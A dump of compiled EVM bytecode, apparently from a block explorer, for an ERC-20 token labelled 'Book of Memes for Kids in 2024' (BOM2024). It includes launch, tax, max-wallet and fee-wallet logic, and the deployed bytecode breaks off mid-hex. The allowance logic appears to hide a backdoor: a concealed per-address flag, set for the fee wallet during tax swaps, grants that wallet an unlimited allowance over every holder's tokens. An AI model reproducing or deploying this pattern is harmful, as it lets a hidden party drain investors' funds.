33b9aca006119f1919061257a565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a39919061257a565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611abc9190612c23565b905092915050565b5f83831115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612d75565b60405180910390fd5b5f8385611b159190612d93565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611bf3575f9050611c54565b5f8284611c00919061257a565b9050828482611c0f919061264e565b14611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690612e36565b60405180910390fd5b809150505b92915050565b5f611c9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206b565b905092915050565b5f600160045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818311611d155782611d17565b815b905092915050565b6001600660146101000a81548160ff021916908315150217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611d9e573d5f803e3d5ffd5b5080600e541015611fdd575f600267ffffffffffffffff811115611dc557611dc4612e54565b5b604051908082528060200260200182016040528015611df35781602001602082028036833780820191505090505b50905030815f81518110611e0a57611e09612e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed291906125cf565b81600181518110611ee657611ee5612e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e61565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fae959493929190612f65565b5f604051808303815f87803b158015611fc5575f80fd5b505af1158015611fd7573d5f803e3d5ffd5b50505050505b5f600660146101000a81548160ff02191690831515021790555050565b5f8082846120089190612c23565b90508381101561204d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204490613007565b60405180910390fd5b8091505092915050565b5f61206383835f611ac4565b905092915050565b5f80831182906120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a8919061213c565b60405180910390fd5b505f83856120bf919061264e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61210e826120cc565b61211881856120d6565b93506121288185602086016120e6565b612131816120f4565b840191505092915050565b5f6020820190508181035f8301526121548184612104565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6121858261215c565b9050919050565b6121958161217b565b82525050565b5f6020820190506121ae5f83018461218c565b92915050565b5f80fd5b5f6121c28261215c565b9050919050565b6121d2816121b8565b81146121dc575f80fd5b50565b5f813590506121ed816121c9565b92915050565b5f819050919050565b612205816121f3565b811461220f575f80fd5b50565b5f81359050612220816121fc565b92915050565b5f806040838503121561223c5761223b6121b4565b5b5f612249858286016121df565b925050602061225a85828601612212565b9150509250929050565b5f8115159050919050565b61227881612264565b82525050565b5f6020820190506122915f83018461226f565b92915050565b6122a0816121f3565b82525050565b5f6020820190506122b95f830184612297565b92915050565b5f805f606084860312156122d6576122d56121b4565b5b5f6122e3868287016121df565b93505060206122f4868287016121df565b925050604061230586828701612212565b9150509250925092565b5f60ff82169050919050565b6123248161230f565b82525050565b5f60208201905061233d5f83018461231b565b92915050565b5f60208284031215612358576123576121b4565b5b5f612365848285016121df565b91505092915050565b612377816121b8565b82525050565b5f6020820190506123905f83018461236e565b92915050565b5f80604083850312156123ac576123ab6121b4565b5b5f6123b9858286016121df565b92505060206123ca858286016121df565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561245657808604811115612432576124316123d4565b5b60018516156124415780820291505b808102905061244f85612401565b9450612416565b94509492505050565b5f8261246e5760019050612529565b8161247b575f9050612529565b8160018114612491576002811461249b576124ca565b6001915050612529565b60ff8411156124ad576124ac6123d4565b5b8360020a9150848211156124c4576124c36123d4565b5b50612529565b5060208310610133831016604e8410600b84101617156124ff5782820a9050838111156124fa576124f96123d4565b5b612529565b61250c848484600161240d565b92509050818404811115612523576125226123d4565b5b81810290505b9392505050565b5f61253a826121f3565b91506125458361230f565b92506125727fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461245f565b905092915050565b5f612584826121f3565b915061258f836121f3565b925082820261259d816121f3565b915082820484148315176125b4576125b36123d4565b5b5092915050565b5f815190506125c9816121c9565b92915050565b5f602082840312156125e4576125e36121b4565b5b5f6125f1848285016125bb565b91505092915050565b5f60408201905061260d5f83018561236e565b61261a602083018461236e565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612658826121f3565b9150612663836121f3565b92508261267357612672612621565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6126aa6126a56126a08461267e565b612687565b6121f3565b9050919050565b6126ba81612690565b82525050565b5f60c0820190506126d35f83018961236e565b6126e06020830188612297565b6126ed60408301876126b1565b6126fa60608301866126b1565b612707608083018561236e565b61271460a0830184612297565b979650505050505050565b5f8151905061272d816121fc565b92915050565b5f805f6060848603121561274a576127496121b4565b5b5f6127578682870161271f565b93505060206127688682870161271f565b92505060406127798682870161271f565b9150509250925092565b5f6040820190506127965f83018561236e565b6127a36020830184612297565b9392505050565b6127b381612264565b81146127bd575f80fd5b50565b5f815190506127ce816127aa565b92915050565b5f602082840312156127e9576127e86121b4565b5b5f6127f6848285016127c0565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128596026836120d6565b9150612864826127ff565b604082019050919050565b5f6020820190508181035f8301526128868161284d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6128e76024836120d6565b91506128f28261288d565b604082019050919050565b5f6020820190508181035f830152612914816128db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129756022836120d6565b91506129808261291b565b604082019050919050565b5f6020820190508181035f8301526129a281612969565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6129dd6020836120d6565b91506129e8826129a9565b602082019050919050565b5f6020820190508181035f830152612a0a816129d1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a6b6025836120d6565b9150612a7682612a11565b604082019050919050565b5f6020820190508181035f830152612a9881612a5f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612af96023836120d6565b9150612b0482612a9f565b604082019050919050565b5f6020820190508181035f830152612b2681612aed565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b876029836120d6565b9150612b9282612b2d565b604082019050919050565b5f6020820190508181035f830152612bb481612b7b565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612bef600f836120d6565b9150612bfa82612bbb565b602082019050919050565b5f6020820190508181035f830152612c1c81612be3565b9050919050565b5f612c2d826121f3565b9150612c38836121f3565b9250828201905080821115612c5057612c4f6123d4565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612c8a601b836120d6565b9150612c9582612c56565b602082019050919050565b5f6020820190508181035f830152612cb781612c7e565b9050919050565b5f612cc8826121f3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cfa57612cf96123d4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612d5f6028836120d6565b9150612d6a82612d05565b604082019050919050565b5f6020820190508181035f830152612d8c81612d53565b9050919050565b5f612d9d826121f3565b9150612da8836121f3565b9250828203905081811115612dc057612dbf6123d4565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e206021836120d6565b9150612e2b82612dc6565b604082019050919050565b5f6020820190508181035f830152612e4d81612e14565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee0816121b8565b82525050565b5f612ef18383612ed7565b60208301905092915050565b5f602082019050919050565b5f612f1382612eae565b612f1d8185612eb8565b9350612f2883612ec8565b805f5b83811015612f58578151612f3f8882612ee6565b9750612f4a83612efd565b925050600181019050612f2b565b5085935050505092915050565b5f60a082019050612f785f830188612297565b612f8560208301876126b1565b8181036040830152612f978186612f09565b9050612fa6606083018561236e565b612fb36080830184612297565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff1601b836120d6565b9150612ffc82612fbd565b602082019050919050565b5f6020820190508181035f83015261301e81612fe5565b905091905056fea26469706673582212202b10fd2ff6c49ca5499360290056ef2b8343dd8db63d672bc418637218c26d0864736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c8063751039fc116100eb578063c9567bf911610089578063e1b1925811610063578063e1b192581461059e578063e25b549e146105c8578063ebbf220d146105f2578063f2fde38b1461061c576101a6565b8063c9567bf914610510578063d9e738af14610526578063dd62ed3e14610562576101a6565b8063a666ec1c116100c5578063a666ec1c14610456578063a9059cbb14610480578063b2e7fa98146104bc578063b7261f51146104e6576101a6565b8063751039fc146103ec5780638da5cb5b1461040257806395d89b411461042c576101a6565b8063313ce567116101585780634af39804116101325780634af398041461033457806368ea35b01461035e57806370a082311461039a578063715018a6146103d6576101a6565b8063313ce567146102b65780633b7cdccd146102e057806344419df51461030a576101a6565b806306fdde03146101aa5780630888439c146101d4578063095ea7b3146101fe57806318160ddd1461023a57806320800a001461026457806323b872dd1461027a576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610644565b6040516101cb919061213c565b60405180910390f35b3480156101df575f80fd5b506101e8610681565b6040516101f5919061219b565b60405180910390f35b348015610209575f80fd5b50610224600480360381019061021f9190612226565b6106a6565b604051610231919061227e565b60405180910390f35b348015610245575f80fd5b5061024e6106c3565b60405161025b91906122a6565b60405180910390f35b34801561026f575f80fd5b506102786106e6565b005b348015610285575f80fd5b506102a0600480360381019061029b91906122bf565b610734565b6040516102ad919061227e565b60405180910390f35b3480156102c1575f80fd5b506102ca610781565b6040516102d7919061232a565b60405180910390f35b3480156102eb575f80fd5b506102f4610789565b60405161030191906122a6565b60405180910390f35b348015610315575f80fd5b5061031e61078f565b60405161032b91906122a6565b60405180910390f35b34801561033f575f80fd5b50610348610795565b60405161035591906122a6565b60405180910390f35b348015610369575f80fd5b50610384600480360381019061037f9190612343565b61079b565b604051610391919061227e565b60405180910390f35b3480156103a5575f80fd5b506103c060048036038101906103bb9190612343565b6107b8565b6040516103cd91906122a6565b60405180910390f35b3480156103e1575f80fd5b506103ea6107fe565b005b3480156103f7575f80fd5b50610400610811565b005b34801561040d575f80fd5b5061041661083e565b604051610423919061237d565b60405180910390f35b348015610437575f80fd5b50610440610865565b60405161044d919061213c565b60405180910390f35b348015610461575f80fd5b5061046a6108a2565b60405161047791906122a6565b60405180910390f35b34801561048b575f80fd5b506104a660048036038101906104a19190612226565b6108a8565b6040516104b3919061227e565b60405180910390f35b3480156104c7575f80fd5b506104d06108c5565b6040516104dd91906122a6565b60405180910390f35b3480156104f1575f80fd5b506104fa6108cb565b60405161050791906122a6565b60405180910390f35b34801561051b575f80fd5b506105246108d1565b005b348015610531575f80fd5b5061054c60048036038101906105479190612343565b610d2f565b60405161055991906122a6565b60405180910390f35b34801561056d575f80fd5b5061058860048036038101906105839190612396565b610d44565b60405161059591906122a6565b60405180910390f35b3480156105a9575f80fd5b506105b2610dc6565b6040516105bf91906122a6565b60405180910390f35b3480156105d3575f80fd5b506105dc610dcc565b6040516105e991906122a6565b60405180910390f35b3480156105fd575f80fd5b50610606610dd2565b60405161061391906122a6565b60405180910390f35b348015610627575f80fd5b50610642600480360381019061063d9190612343565b610dd8565b005b60606040518060400160405280601e81526020017f426f6f6b206f66204d656d657320666f72204b69647320696e20323032340000815250905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106b96106b2610e5a565b8484610e61565b6001905092915050565b5f6009600a6106d29190612530565b633b9aca006106e1919061257a565b905090565b6106ee611024565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610731573d5f803e3d5ffd5b50565b5f6107408484846110a2565b6107768461074c610e5a565b610771855f6107628a61075d610e5a565b6119d3565b611ac49092919063ffffffff16565b610e61565b600190509392505050565b5f6009905090565b60075481565b600f5481565b600a5481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610806611024565b61080f5f611b22565b565b610819611024565b6009600a6108279190612530565b633b9aca00610836919061257a565b600f81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f424f4d3230323400000000000000000000000000000000000000000000000000815250905090565b60105481565b5f6108bb6108b4610e5a565b84846110a2565b6001905092915050565b600e5481565b600c5481565b6108d9611024565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095e91906125cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e791906125cf565b6040518363ffffffff1660e01b8152600401610a049291906125fa565b6020604051808303815f875af1158015610a20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4491906125cf565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b0b3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610af79190612530565b633b9aca00610b06919061257a565b610e61565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730606460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546062610b96919061257a565b610ba0919061264e565b5f80610baa61083e565b426040518863ffffffff1660e01b8152600401610bcc969594939291906126c0565b60606040518083038185885af1158015610be8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c0d9190612733565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cad929190612783565b6020604051808303815f875af1158015610cc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ced91906127d4565b506001600660156101000a81548160ff0219169083151502179055506009600a610d179190612530565b633b9aca00610d26919061257a565b600f8190555050565b6004602052805f5260405f205f915090505481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b60095481565b600b5481565b610de0611024565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061286f565b60405180910390fd5b610e5781611b22565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec6906128fd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f349061298b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101791906122a6565b60405180910390a3505050565b61102c610e5a565b73ffffffffffffffffffffffffffffffffffffffff1661104a61083e565b73ffffffffffffffffffffffffffffffffffffffff16146110a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611097906129f3565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110790612a81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590612b0f565b60405180910390fd5b5f81116111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b790612b9d565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561125f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b9050600660159054906101000a900460ff16806112c2575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f890612c05565b60405180910390fd5b5f81801561135b575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156114815761139c606461138e600c54600b541061137b57600a5461137f565b6008545b86611be390919063ffffffff16565b611c5a90919063ffffffff16565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461148057600f548360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461143e9190612c23565b111561147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612ca0565b60405180910390fd5b5b5b8180156114db575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611533575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561158e57600b5f81548092919061154a90612cbe565b919050555061158b606461157d600c54600b541061156a5760095461156e565b6007545b86611be390919063ffffffff16565b611c5a90919063ffffffff16565b90505b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156115f25750600660149054906101000a900460ff16155b801561164a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611722575f6116a260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461169d60105487611ca3565b611ca3565b90506116ad81611d1f565b5f4790505f81111561171f57600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561171d573d5f803e3d5ffd5b505b50505b5f8111156118215761177a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ffa90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161181891906122a6565b60405180910390a35b6118718360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461205790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119146118c8828561205790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ffa90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119b7848761205790919063ffffffff16565b6040516119c491906122a6565b60405180910390a35050505050565b5f6009600a6119e29190612530565b633b9aca006119f1919061257a565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a39919061257a565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611abc9190612c23565b905092915050565b5f83831115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612d75565b60405180910390fd5b5f8385611b159190612d93565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611bf3575f9050611c54565b5f8284611c00919061257a565b9050828482611c0f919061264e565b14611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690612e36565b60405180910390fd5b809150505b92915050565b5f611c9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206b565b905092915050565b5f600160045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818311611d155782611d17565b815b905092915050565b6001600660146101000a81548160ff021916908315150217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611d9e573d5f803e3d5ffd5b5080600e541015611fdd575f600267ffffffffffffffff811115611dc557611dc4612e54565b5b604051908082528060200260200182016040528015611df35781602001602082028036833780820191505090505b50905030815f81518110611e0a57611e09612e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed291906125cf565b81600181518110611ee657611ee5612e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e61565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fae959493929190612f65565b5f604051808303815f87803b158015611fc5575f80fd5b505af1158015611fd7573d5f803e3d5ffd5b50505050505b5f600660146101000a81548160ff02191690831515021790555050565b5f8082846120089190612c23565b90508381101561204d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204490613007565b60405180910390fd5b8091505092915050565b5f61206383835f611ac4565b905092915050565b5f80831182906120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a8919061213c565b60405180910390fd5b505f83856120bf919061264e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61210e826120cc565b61211881856120d6565b93506121288185602086016120e6565b612131816120f4565b840191505092915050565b5f6020820190508181035f8301526121548184612104565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6121858261215c565b9050919050565b6121958161217b565b82525050565b5f6020820190506121ae5f83018461218c565b92915050565b5f80fd5b5f6121c28261215c565b9050919050565b6121d2816121b8565b81146121dc575f80fd5b50565b5f813590506121ed816121c9565b92915050565b5f819050919050565b612205816121f3565b811461220f575f80fd5b50565b5f81359050612220816121fc565b92915050565b5f806040838503121561223c5761223b6121b4565b5b5f612249858286016121df565b925050602061225a85828601612212565b9150509250929050565b5f8115159050919050565b61227881612264565b82525050565b5f6020820190506122915f83018461226f565b92915050565b6122a0816121f3565b82525050565b5f6020820190506122b95f830184612297565b92915050565b5f805f606084860312156122d6576122d56121b4565b5b5f6122e3868287016121df565b93505060206122f4868287016121df565b925050604061230586828701612212565b9150509250925092565b5f60ff82169050919050565b6123248161230f565b82525050565b5f60208201905061233d5f83018461231b565b92915050565b5f60208284031215612358576123576121b4565b5b5f612365848285016121df565b91505092915050565b612377816121b8565b82525050565b5f6020820190506123905f83018461236e565b92915050565b5f80604083850312156123ac576123ab6121b4565b5b5f6123b9858286016121df565b92505060206123ca858286016121df565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561245657808604811115612432576124316123d4565b5b60018516156124415780820291505b808102905061244f85612401565b9450612416565b94509492505050565b5f8261246e5760019050612529565b8161247b575f9050612529565b8160018114612491576002811461249b576124ca565b6001915050612529565b60ff8411156124ad576124ac6123d4565b5b8360020a9150848211156124c4576124c36123d4565b5b50612529565b5060208310610133831016604e8410600b84101617156124ff5782820a9050838111156124fa576124f96123d4565b5b612529565b61250c848484600161240d565b92509050818404811115612523576125226123d4565b5b81810290505b9392505050565b5f61253a826121f3565b91506125458361230f565b92506125727fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461245f565b905092915050565b5f612584826121f3565b915061258f836121f3565b925082820261259d816121f3565b915082820484148315176125b4576125b36123d4565b5b5092915050565b5f815190506125c9816121c9565b92915050565b5f602082840312156125e4576125e36121b4565b5b5f6125f1848285016125bb565b91505092915050565b5f60408201905061260d5f83018561236e565b61261a602083018461236e565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612658826121f3565b9150612663836121f3565b92508261267357612672612621565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6126aa6126a56126a08461267e565b612687565b6121f3565b9050919050565b6126ba81612690565b82525050565b5f60c0820190506126d35f83018961236e565b6126e06020830188612297565b6126ed60408301876126b1565b6126fa60608301866126b1565b612707608083018561236e565b61271460a0830184612297565b979650505050505050565b5f8151905061272d816121fc565b92915050565b5f805f6060848603121561274a576127496121b4565b5b5f6127578682870161271f565b93505060206127688682870161271f565b92505060406127798682870161271f565b9150509250925092565b5f6040820190506127965f83018561236e565b6127a36020830184612297565b9392505050565b6127b381612264565b81146127bd575f80fd5b50565b5f815190506127ce816127aa565b92915050565b5f602082840312156127e9576127e86121b4565b5b5f6127f6848285016127c0565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128596026836